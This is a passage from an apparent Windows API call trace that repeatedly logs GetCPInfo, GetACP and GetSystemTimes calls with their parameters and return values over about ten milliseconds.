| out: lpCPInfo=0x18fa80) returned 1 [0048.037] GetACP () returned 0x4e4 [0048.037] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.038] GetACP () returned 0x4e4 [0048.038] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.038] GetACP () returned 0x4e4 [0048.038] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.038] GetACP () returned 0x4e4 [0048.038] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.038] GetACP () returned 0x4e4 [0048.038] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.038] GetACP () returned 0x4e4 [0048.038] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.038] GetACP () returned 0x4e4 [0048.038] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.038] GetACP () returned 0x4e4 [0048.038] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.038] GetACP () returned 0x4e4 [0048.038] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.038] GetACP () returned 0x4e4 [0048.038] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.039] GetACP () returned 0x4e4 [0048.039] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.039] GetACP () returned 0x4e4 [0048.039] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.039] GetACP () returned 0x4e4 [0048.039] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.039] GetACP () returned 0x4e4 [0048.039] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.039] GetACP () returned 0x4e4 [0048.039] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.039] GetACP () returned 0x4e4 [0048.039] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.039] GetACP () returned 0x4e4 [0048.039] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.039] GetACP () returned 0x4e4 [0048.039] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.039] GetACP () returned 0x4e4 [0048.039] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.040] GetACP () returned 0x4e4 [0048.040] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.040] GetACP () returned 0x4e4 [0048.040] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.040] GetACP () returned 0x4e4 [0048.040] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.040] GetACP () returned 0x4e4 [0048.040] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.040] GetACP () returned 0x4e4 [0048.040] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.040] GetACP () returned 0x4e4 [0048.040] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.040] GetACP () returned 0x4e4 [0048.040] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.041] GetACP () returned 0x4e4 [0048.041] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.041] GetACP () returned 0x4e4 [0048.041] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.041] GetACP () returned 0x4e4 [0048.041] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.041] GetACP () returned 0x4e4 [0048.041] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.041] GetACP () returned 0x4e4 [0048.041] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.041] GetACP () returned 0x4e4 [0048.041] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.041] GetACP () returned 0x4e4 [0048.041] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.041] GetACP () returned 0x4e4 [0048.041] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.041] GetACP () returned 0x4e4 [0048.041] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.042] GetACP () returned 0x4e4 [0048.042] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.042] GetACP () returned 0x4e4 [0048.042] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.042] GetACP () returned 0x4e4 [0048.042] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.042] GetACP () returned 0x4e4 [0048.042] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.042] GetACP () returned 0x4e4 [0048.042] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.042] GetACP () returned 0x4e4 [0048.042] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.042] GetACP () returned 0x4e4 [0048.042] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.042] GetACP () returned 0x4e4 [0048.042] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.042] GetACP () returned 0x4e4 [0048.042] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.043] GetACP () returned 0x4e4 [0048.043] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.043] GetACP () returned 0x4e4 [0048.043] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.043] GetACP () returned 0x4e4 [0048.043] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.043] GetACP () returned 0x4e4 [0048.043] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.043] GetACP () returned 0x4e4 [0048.043] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.043] GetACP () returned 0x4e4 [0048.043] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.043] GetACP () returned 0x4e4 [0048.043] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.043] GetACP () returned 0x4e4 [0048.043] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.043] GetACP () returned 0x4e4 [0048.043] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.044] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.044] GetACP () returned 0x4e4 [0048.044] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.044] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.044] GetACP () returned 0x4e4 [0048.044] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.044] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.044] GetACP () returned 0x4e4 [0048.044] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.044] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.044] GetACP () returned 0x4e4 [0048.044] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.044] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.044] GetACP () returned 0x4e4 [0048.044] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.044] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.044] GetACP () returned 0x4e4 [0048.044] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.044] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.044] GetACP () returned 0x4e4 [0048.044] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.044] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.044] GetACP () returned 0x4e4 [0048.044] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.044] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.044] GetACP () returned 0x4e4 [0048.044] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.045] GetACP () returned 0x4e4 [0048.045] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.045] GetACP () returned 0x4e4 [0048.045] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.045] GetACP () returned 0x4e4 [0048.045] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.045] GetACP () returned 0x4e4 [0048.045] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.045] GetACP () returned 0x4e4 [0048.045] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.045] GetACP () returned 0x4e4 [0048.045] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.045] GetACP () returned 0x4e4 [0048.045] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.045] GetACP () returned 0x4e4 [0048.045] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.045] GetACP () returned 0x4e4 [0048.045] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.046] GetACP () returned 0x4e4 [0048.046] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.046] GetACP () returned 0x4e4 [0048.046] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.046] GetACP () returned 0x4e4 [0048.046] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.046] GetACP () returned 0x4e4 [0048.046] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.046] GetACP () returned 0x4e4 [0048.046] GetSystemTimes (in: 